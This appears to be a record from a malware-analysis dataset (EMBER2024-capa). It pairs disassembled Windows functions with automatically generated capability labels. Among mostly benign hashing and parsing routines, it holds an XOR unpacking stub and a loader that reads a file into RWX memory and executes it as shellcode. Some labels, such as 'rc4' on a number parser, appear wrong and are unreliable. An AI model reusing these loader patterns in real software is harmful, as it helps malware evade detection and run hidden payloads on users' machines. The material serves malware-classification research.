joyce8/EMBER2024-capa huggingface dataset:
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
pop eax
nop
nop
nop
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x432030
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43201e
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x41bd00
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
xor edx, edx
mov eax, edx
and eax, 1
dec eax
not eax
and eax, 0xedb88320
mov ecx, edx
shr ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov dword [edx*4 + 0x424c80], ecx
inc edx
cmp edx, 0x100
jb 0x41bd02
cmp edx, 0x800
jae 0x41bdd9
lea esp, [esp]
mov eax, dword [edx*4 + 0x424880]
mov ecx, eax
and ecx, 0xff
shr eax, 8
xor eax, dword [ecx*4 + 0x424c80]
inc edx
mov dword [edx*4 + 0x424c7c], eax
cmp edx, 0x800
jb 0x41bdb0
mov eax, 0x41c5e0
mov dword [0x424c7c], eax
mov dword [0x426c80], eax
mov dword [0x424c78], 0x41c500
call fcn.0041c010
test eax, eax
jne 0x41be05
mov dword [0x426c80], 0x41c500
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x1000c860
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, ecx
mov edx, ebx
push esi
push edi
mov edi, 0x811c9dc5
xor esi, esi
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x1000c875
sub edx, ecx
je 0x1000c89f
movsx eax, byte [ebx + esi]
mov ecx, ebx
xor eax, edi
imul edi, eax, 0x1000193
inc esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000c892
sub ecx, edx
cmp esi, ecx
jb 0x1000c880
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10020b60
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x101a0040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, dword [0x101a06f0]
mov dword [ebp - 0x10], edi
mov esi, dword [edi]
cmp esi, edi
je 0x10020c5f
nop dword [eax]
cmp dword [ebp + 0x1c], 0xf
lea ecx, [esi + 8]
mov edx, dword [ecx + 0x10]
lea eax, [ebp + 8]
cmova eax, ebx
cmp dword [ecx + 0x14], 0xf
jbe 0x10020ba8
mov ecx, dword [ecx]
push dword [ebp + 0x18]
push eax
call fcn.10018dd0
add esp, 8
test al, al
jne 0x10020bbe
mov esi, dword [esi]
cmp esi, edi
jne 0x10020b90
cmp esi, edi
je 0x10020c5f
cmp dword [esi + 0x1c], 0xf
lea ebx, [esi + 8]
mov eax, dword [ebx + 0x10]
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], ebx
jbe 0x10020bdd
mov eax, dword [ebx]
mov dword [ebp - 8], eax
xor ecx, ecx
mov edx, 0x811c9dc5
cmp dword [ebx + 0x10], ecx
jbe 0x10020c07
mov ebx, dword [ebp - 8]
mov edi, dword [ebp - 0xc]
nop
movzx eax, byte [ebx + ecx]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, edi
jb 0x10020bf0
mov edi, dword [ebp - 0x10]
lea ebx, [esi + 8]
and edx, dword [0x101a0704]
mov eax, dword [0x101a06f8]
lea ecx, [eax + edx*8]
mov eax, dword [ecx]
cmp dword [ecx + 4], esi
jne 0x10020c2f
cmp eax, esi
jne 0x10020c27
mov dword [ecx], edi
mov dword [ecx + 4], edi
jmp 0x10020c37
mov edi, dword [esi + 4]
mov dword [ecx + 4], edi
jmp 0x10020c37
cmp eax, esi
jne 0x10020c37
mov eax, dword [esi]
mov dword [ecx], eax
mov ecx, dword [esi]
mov edx, ebx
dec dword [0x101a06f4]
mov eax, dword [esi + 4]
mov dword [eax], ecx
mov eax, dword [esi + 4]
mov dword [ecx + 4], eax
call fcn.10019260
push 0x28
push esi
call fcn.1013c6c7
mov ebx, dword [ebp + 8]
add esp, 8
mov eax, dword [ebp + 0x1c]
cmp eax, 0xf
jbe 0x10020c94
lea ecx, [eax + 1]
mov eax, ebx
cmp ecx, 0x1000
jb 0x10020c8a
mov ebx, dword [eax - 4]
add ecx, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10020c8a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push ebx
call fcn.1013c6c7
add esp, 8
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1013c175
mov esp, ebp
pop ebp
ret
Function at 0x10028850
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword [ebp + 8]
xor ecx, ecx
push esi
push edi
mov edx, 0x811c9dc5
mov esi, dword [eax + 4]
mov edi, dword [eax]
test esi, esi
je 0x10028881
nop dword [eax + eax]
movzx eax, byte [edi + ecx]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x10028870
pop edi
mov eax, edx
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x1002a7a0
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, ecx
mov eax, 0x1fffffff
bsr ecx, eax
push esi
push edi
mov edi, 1
mov dword [ebp - 8], ebx
mov eax, edi
shl eax, cl
mov ecx, dword [ebp + 8]
cmp ecx, eax
jbe 0x1002a7d1
push str.invalid_hash_bucket_count
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const__]
lea eax, [ecx - 1]
mov esi, dword [ebx + 4]
or eax, 1
mov dword [ebp - 0xc], esi
bsr ecx, eax
push esi
lea ecx, [ecx + 1]
shl edi, cl
lea ecx, [ebx + 0xc]
lea eax, [edi + edi]
push eax
call fcn.10015630
lea eax, [edi - 1]
mov dword [ebx + 0x1c], edi
mov dword [ebx + 0x18], eax
mov eax, dword [ebx + 4]
mov eax, dword [eax]
mov ecx, eax
cmp eax, esi
je 0x1002a8dc
nop word [eax + eax]
movzx edx, byte [eax + 8]
xor edx, 0x811c9dc5
mov ecx, dword [ecx]
imul edi, edx, 0x1000193
movzx edx, byte [eax + 9]
xor edi, edx
movzx edx, byte [eax + 0xa]
imul edi, edi, 0x1000193
xor edi, edx
movzx edx, byte [eax + 0xb]
imul edi, edi, 0x1000193
xor edi, edx
imul edx, edi, 0x1000193
mov edi, dword [ebx + 0x18]
and edi, edx
mov edx, dword [ebx + 0xc]
lea edx, [edx + edi*8]
mov edi, dword [edx]
mov dword [ebp - 0x10], edx
cmp edi, esi
jne 0x1002a861
mov dword [edx], eax
mov dword [edx + 4], eax
jmp 0x1002a8d2
mov edx, dword [edx + 4]
mov ebx, dword [eax + 8]
cmp ebx, dword [edx + 8]
jne 0x1002a89b
mov edx, dword [edx]
mov dword [ebp - 4], edx
cmp edx, eax
je 0x1002a893
mov ebx, dword [eax + 4]
mov esi, dword [ebp - 4]
mov dword [ebx], ecx
mov edi, dword [ecx + 4]
mov dword [edi], edx
mov edx, dword [edx + 4]
mov dword [edx], eax
mov dword [esi + 4], edi
mov esi, dword [ebp - 0xc]
mov dword [ecx + 4], ebx
mov dword [eax + 4], edx
mov edx, dword [ebp - 0x10]
mov dword [edx + 4], eax
jmp 0x1002a8cf
cmp edi, edx
je 0x1002a8ac
nop
mov edx, dword [edx + 4]
cmp ebx, dword [edx + 8]
je 0x1002a8e5
cmp edi, edx
jne 0x1002a8a0
mov ebx, dword [eax + 4]
mov dword [ebp - 4], ebx
mov dword [ebx], ecx
mov ebx, dword [ecx + 4]
mov dword [ebx], edx
mov edi, dword [edx + 4]
mov dword [edi], eax
mov dword [edx + 4], ebx
mov edx, dword [ebp - 4]
mov dword [ecx + 4], edx
mov edx, dword [ebp - 0x10]
mov dword [eax + 4], edi
mov dword [edx], eax
mov ebx, dword [ebp - 8]
mov eax, ecx
cmp ecx, esi
jne 0x1002a810
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ebx, dword [eax + 4]
mov edx, dword [edx]
mov dword [ebp - 4], edx
mov esi, edx
mov dword [ebx], ecx
mov edi, dword [ecx + 4]
mov dword [edi], edx
mov edx, dword [edx + 4]
mov dword [edx], eax
mov dword [esi + 4], edi
mov esi, dword [ebp - 0xc]
mov dword [ecx + 4], ebx
mov dword [eax + 4], edx
jmp 0x1002a8cf
Function at 0x1002c330
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1013e950
mov eax, dword fs:[0]
push eax
push ebx
push esi
push edi
mov eax, dword [0x101a0040]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, dword [ebp + 8]
mov edi, dword [ecx + 4]
push edi
mov dword [ebp - 4], 0
call fcn.10012b10
mov esi, eax
mov ecx, edi
mov edx, esi
neg edx
call fcn.100a6150
not esi
mov ecx, edi
mov edx, esi
mov ebx, eax
call fcn.100a5cf0
movzx ecx, bl
xor ecx, 0x811c9dc5
imul edx, ecx, 0x1000193
mov ecx, ebx
shr ecx, 8
movzx eax, cl
xor edx, eax
mov eax, ebx
imul ecx, edx, 0x1000193
shr eax, 0x10
movzx eax, al
shr ebx, 0x18
xor ecx, eax
imul eax, ecx, 0x1000193
xor eax, ebx
imul eax, eax, 0x1000193
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x10044ea0
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10141520
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x101a0040]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp + 0xc]
mov edi, dword [eax + 4]
push edi
mov ecx, eax
mov dword [ebp - 4], 0
call fcn.10012b10
mov esi, eax
mov ecx, edi
mov edx, esi
neg edx
call fcn.100a6150
not esi
mov ecx, edi
mov edx, esi
mov ebx, eax
call fcn.100a5cf0
movzx ecx, bl
mov eax, ebx
xor ecx, 0x811c9dc5
shr eax, 8
imul ecx, ecx, 0x1000193
movzx eax, al
mov esi, dword [ebp - 0x10]
mov dword [ebp - 4], 0xffffffff
xor ecx, eax
mov eax, ebx
shr eax, 0x10
imul ecx, ecx, 0x1000193
movzx eax, al
shr ebx, 0x18
xor ecx, eax
imul eax, ecx, 0x1000193
mov ecx, esi
xor eax, ebx
imul eax, eax, 0x1000193
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x18]
push eax
call fcn.1002c590
mov ecx, dword [eax + 4]
mov eax, dword [ebp + 8]
test ecx, ecx
jne 0x10044f5a
mov ecx, dword [esi + 4]
mov dword [eax], ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x100b7f00
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
sub esp, 0x34
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [esp + 0x2c], edx
mov esi, 1
mov eax, dword [edi + 0x14]
mov ecx, dword [edi + 0xc]
sub ecx, dword [eax]
sub ecx, 0x10
sar ecx, 4
sub ecx, ebx
je 0x100b7fe1
dec ecx
mov edx, ebx
mov dword [esp + 0x34], ecx
mov ecx, edi
call fcn.100a5b70
mov dl, byte [eax + 8]
test dl, 0xf
jne 0x100b7f54
mov ecx, dword [edi + 0x10]
add ecx, 0x38
cmp eax, ecx
je 0x100b7ff1
and dl, 0xf
cmp dl, 3
jne 0x100b7ff1
mov edx, ebx
mov ecx, edi
call fcn.100a5b70
mov edx, ebx
mov ecx, edi
cmp byte [eax + 8], 3
jne 0x100b7f86
push 0
call fcn.100a5f00
add esp, 4
push edx
push eax
push str._lld
jmp 0x100b7fbe
xorps xmm0, xmm0
movsd qword [esp + 0x38], xmm0
call fcn.100a5b70
cmp byte [eax + 8], 0x13
jne 0x100b7fa0
movsd xmm0, qword [eax]
jmp 0x100b7fb1
lea edx, [esp + 0x38]
mov ecx, eax
call fcn.100cfa80
movsd xmm0, qword [esp + 0x38]
sub esp, 8
movsd qword [esp], xmm0
push str._.14g
push dword [esp + 0x38]
call fcn.100a72a0
add esp, 0x10
test esi, esi
je 0x100b7fd2
test eax, eax
jg 0x100b8027
xor esi, esi
mov ecx, dword [esp + 0x34]
inc ebx
test ecx, ecx
jne 0x100b7f30
test esi, esi
je 0x100b802e
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x30]
mov edx, ebx
push eax
mov ecx, edi
call fcn.100a6010
add esp, 4
test eax, eax
je 0x100b80a1
test esi, esi
je 0x100b7fd2
push dword [esp + 0x2c]
mov esi, dword [esp + 0x34]
push esi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp eax, esi
jne 0x100b7fd2
mov esi, 1
jmp 0x100b7fd4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov esi, dword [eax]
mov eax, dword [edi + 0xc]
push esi
mov byte [eax + 8], 0
add dword [edi + 0xc], 0x10
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_strerror]
add esp, 4
test eax, eax
jne 0x100b8058
mov eax, dword [edi + 0xc]
mov byte [eax + 8], 0
jmp 0x100b806e
mov edx, eax
mov ecx, edi
call fcn.100c69e0
mov ecx, dword [edi + 0xc]
mov dword [ecx], eax
mov al, byte [eax + 4]
or al, 0x40
mov byte [ecx + 8], al
mov ecx, dword [edi + 0x10]
add dword [edi + 0xc], 0x10
cmp dword [ecx + 0xc], 0
jle 0x100b8082
mov ecx, edi
call fcn.100b6310
mov ecx, dword [edi + 0xc]
mov eax, esi
cdq
mov dword [ecx], eax
mov eax, 3
mov dword [ecx + 4], edx
mov byte [ecx + 8], 3
add dword [edi + 0xc], 0x10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 4
mov edx, ebx
mov ecx, edi
call fcn.100a7e00
int3
Function at 0x100bdfa0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x20
push esi
push edi
mov dword [ebp - 0x10], edx
mov esi, ecx
call dword [sym.imp.api_ms_win_crt_locale_l1_1_0.dll_localeconv]
xor ecx, ecx
xor edi, edi
mov dword [ebp - 0xc], ecx
xorps xmm1, xmm1
mov eax, dword [eax]
movsx eax, byte [eax]
mov dword [ebp - 0x1c], eax
xor eax, eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x10]
mov dword [eax], esi
mov cl, byte [esi]
movzx eax, cl
test byte [eax + 0x10171ed1], 8
je 0x100be000
mov cl, byte [esi + 1]
inc esi
movzx eax, cl
test byte [eax + 0x10171ed1], 8
jne 0x100bdff0
lea edx, [esi + 1]
cmp cl, 0x2d
jne 0x100be011
mov dword [ebp - 0x18], 1
jmp 0x100be01a
cmp byte [esi], 0x2b
mov dword [ebp - 0x18], edi
cmovne edx, esi
cmp byte [edx], 0x30
jne 0x100be161
mov al, byte [edx + 1]
cmp al, 0x78
je 0x100be032
cmp al, 0x58
jne 0x100be161
movsd xmm2, qword [0x1018ad20]
add edx, 2
xor esi, esi
nop
mov al, byte [edx]
movsx ecx, al
mov dword [ebp - 0x14], edx
mov byte [ebp - 1], al
cmp ecx, dword [ebp - 0x1c]
jne 0x100be05c
test esi, esi
jne 0x100be0b2
mov esi, 1
inc edx
jmp 0x100be040
movzx eax, al
test byte [eax + 0x10171ed1], 0x10
je 0x100be0b2
mov eax, dword [ebp - 8]
test eax, eax
jne 0x100be07a
cmp byte [ebp - 1], 0x30
jne 0x100be07a
inc dword [ebp - 0xc]
jmp 0x100be0aa
inc eax
mov dword [ebp - 8], eax
cmp eax, 0x1e
jg 0x100be0a9
test byte [ecx + 0x10171ed1], 2
je 0x100be091
add ecx, 0xffffffd0
jmp 0x100be097
or ecx, 0x20
sub ecx, 0x57
movd xmm0, ecx
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm2
addsd xmm1, xmm0
jmp 0x100be0aa
inc edi
test esi, esi
je 0x100be0af
dec edi
inc edx
jmp 0x100be040
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
je 0x100be161
mov eax, dword [ebp - 0x10]
shl edi, 2
mov dword [eax], edx
mov al, byte [edx]
cmp al, 0x70
je 0x100be0d0
cmp al, 0x50
jne 0x100be131
mov al, byte [edx + 1]
inc edx
xor ecx, ecx
cmp al, 0x2d
jne 0x100be0e5
mov edx, dword [ebp - 0x14]
lea esi, [ecx + 1]
add edx, 2
jmp 0x100be0f1
cmp al, 0x2b
jne 0x100be0ef
mov edx, dword [ebp - 0x14]
add edx, 2
xor esi, esi
mov al, byte [edx]
mov byte [ebp - 1], al
movzx eax, al
test byte [eax + 0x10171ed1], 2
je 0x100be161
movsx eax, byte [ebp - 1]
lea ecx, [ecx + ecx*4]
inc edx
lea ecx, [ecx - 0x18]
lea ecx, [eax + ecx*2]
mov al, byte [edx]
mov byte [ebp - 1], al
movzx eax, al
test byte [eax + 0x10171ed1], 2
jne 0x100be102
mov eax, ecx
neg eax
test esi, esi
cmove eax, ecx
add edi, eax
mov eax, dword [ebp - 0x10]
mov dword [eax], edx
cmp dword [ebp - 0x18], 0
je 0x100be13e
xorps xmm1, xmmword [0x1018aff0]
push edi
sub esp, 8
movsd qword [esp], xmm1
call dword [sym.imp.api_ms_win_crt_math_l1_1_0.dll_ldexp]
fstp qword [ebp - 0x20]
movsd xmm0, qword [ebp - 0x20]
add esp, 0xc
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
pop edi
xorps xmm0, xmm0
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x100be3b0
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xec
mov eax, dword [0x101a0040]
xor eax, esp
mov dword [esp + 0xe8], eax
push ebx
mov ebx, edx
lea edx, [esp + 8]
push esi
push edi
mov dword [esp + 0x1c], ebx
mov edi, ecx
call fcn.100be200
mov esi, eax
test esi, esi
je 0x100be410
mov ecx, dword [esp + 0x10]
sub esi, edi
mov edx, dword [esp + 0x14]
mov al, 3
mov dword [ebx], ecx
mov dword [ebx + 4], edx
mov byte [ebx + 8], al
lea eax, [esi + 1]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xe8]
xor ecx, esp
call fcn.1013c175
mov esp, ebp
pop ebp
ret
push str..xXnN
push edi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strpbrk]
add esp, 8
test eax, eax
je 0x100be445
movzx ebx, byte [eax]
or ebx, 0x20
cmp ebx, 0x6e
jne 0x100be447
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xe8]
xor ecx, esp
call fcn.1013c175
mov esp, ebp
pop ebp
ret
xor ebx, ebx
push ebx
lea edx, [esp + 0x14]
mov ecx, edi
call fcn.100be170
mov esi, eax
add esp, 4
test esi, esi
jne 0x100be4da
push 0x2e
push edi
call dword [sym.imp.VCRUNTIME140.dll_strchr]
mov edx, edi
mov esi, eax
add esp, 8
lea eax, [edx + 1]
nop
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x100be470
sub edx, eax
cmp edx, 0xc8
ja 0x100be42e
test esi, esi
je 0x100be42e
lea edx, [esp + 0x20]
mov ecx, edi
sub edx, edi
nop dword [eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x100be490
call dword [sym.imp.api_ms_win_crt_locale_l1_1_0.dll_localeconv]
sub esi, edi
lea edx, [esp + 0x10]
push ebx
lea ecx, [esp + 0x24]
mov eax, dword [eax]
mov al, byte [eax]
mov byte [esp + esi + 0x24], al
call fcn.100be170
mov esi, eax
add esp, 4
test esi, esi
je 0x100be42e
mov eax, edi
lea ecx, [esp + 0x20]
sub eax, ecx
add esi, eax
test esi, esi
je 0x100be42e
mov ebx, dword [esp + 0x1c]
sub esi, edi
movsd xmm0, qword [esp + 0x10]
mov al, 0x13
mov ecx, dword [esp + 0xf4]
pop edi
movsd qword [ebx], xmm0
mov byte [ebx + 8], al
lea eax, [esi + 1]
pop esi
pop ebx
xor ecx, esp
call fcn.1013c175
mov esp, ebp
pop ebp
ret
Function at 0x100c62e0
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
mov eax, dword [0x101a0040]
xor eax, esp
mov dword [esp + 0x18], eax
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
push 0x360
push 8
push 0
push ebx
call edi
mov ecx, eax
add esp, 0x10
mov dword [esp + 0x10], ecx
test ecx, ecx
jne 0x100c6328
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x18]
xor ecx, esp
call fcn.1013c175
mov esp, ebp
pop ebp
ret
lea eax, [ecx + 4]
mov byte [ecx + 0xc4], 8
lea esi, [ecx + 0x78]
mov word [eax + 4], 0x808
xor ecx, ecx
mov dword [eax + 0x10], esi
mov dword [eax + 0x20], 0
mov dword [eax + 0x14], 0
mov word [eax + 8], cx
mov dword [eax + 0x64], ecx
mov dword [eax + 0x2c], eax
mov dword [eax + 0x30], ecx
mov dword [eax + 0x58], ecx
mov dword [eax + 0x70], ecx
mov dword [eax + 0x68], ecx
mov word [eax + 6], pe_nt_image_headers32
mov dword [eax + 0x6c], ecx
mov dword [eax + 0x24], ecx
mov dword [eax + 0x5c], ecx
mov dword [esi + 0x58], eax
mov dword [eax], ecx
mov dword [eax + 0x60], 0x820
mov dword [esi + 0xa0], eax
mov dword [esp + 0x18], eax
lea eax, [esp + 0x14]
mov dword [esi + 4], ebx
lea ebx, [ecx + 0xc]
push ecx
mov dword [esi + 0x2e0], 0x820
mov dword [esi], edi
mov dword [esi + 0x2d8], ecx
mov dword [esi + 0x2dc], ecx
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], fcn.100c62e0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov edi, eax
add esp, 4
xor edi, ebx
movzx edx, byte [esp + ebx + 0x17]
mov ecx, edi
shl ecx, 5
mov eax, edi
add edx, ecx
shr eax, 2
add edx, eax
dec ebx
xor edi, edx
cmp ebx, 1
jae 0x100c63c5
mov dword [esi + 0x48], edi
mov edx, 0x100c5eb0
mov dword [esi + 0x51], 0x19320000
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x18], 0
mov byte [esi + 0x30], 0
mov dword [esi + 0x9c], 0
mov dword [esi + 0x4d], 0x19140008
mov dword [esi + 0x7c], 0
mov dword [esi + 0x78], 0
mov dword [esi + 0x60], 0
mov dword [esi + 0x88], 0
mov dword [esi + 0x84], 0
mov dword [esi + 0x80], 0
mov dword [esi + 0x94], 0
mov dword [esi + 0x90], 0
mov dword [esi + 0x8c], 0
mov dword [esi + 0x5c], 0
mov dword [esi + 0x68], 0
mov dword [esi + 0x64], 0
mov dword [esi + 0x74], 0
mov dword [esi + 0x70], 0
mov dword [esi + 0x6c], 0
mov dword [esi + 0x98], 0
mov dword [esi + 8], 0x360
mov dword [esi + 0xc], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x38], 0
mov dword [esi + 0x3c], 0
mov byte [esi + 0x40], 3
mov byte [esi + 0x55], 0xd
mov dword [esi + 0x10c], 0
mov dword [esi + 0x110], 0
mov dword [esi + 0x114], 0
mov dword [esi + 0x118], 0
mov dword [esi + 0x11c], 0
mov dword [esi + 0x120], 0
mov dword [esi + 0x124], 0
mov dword [esi + 0x128], 0
mov dword [esi + 0x12c], 0
mov esi, dword [esp + 0x10]
add esi, 4
push 0
mov ecx, esi
call fcn.100b2320
add esp, 4
test eax, eax
je 0x100c6543
mov ecx, esi
call fcn.100c6140
xor esi, esi
mov ecx, dword [esp + 0x24]
mov eax, esi
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1013c175
mov esp, ebp
pop ebp
ret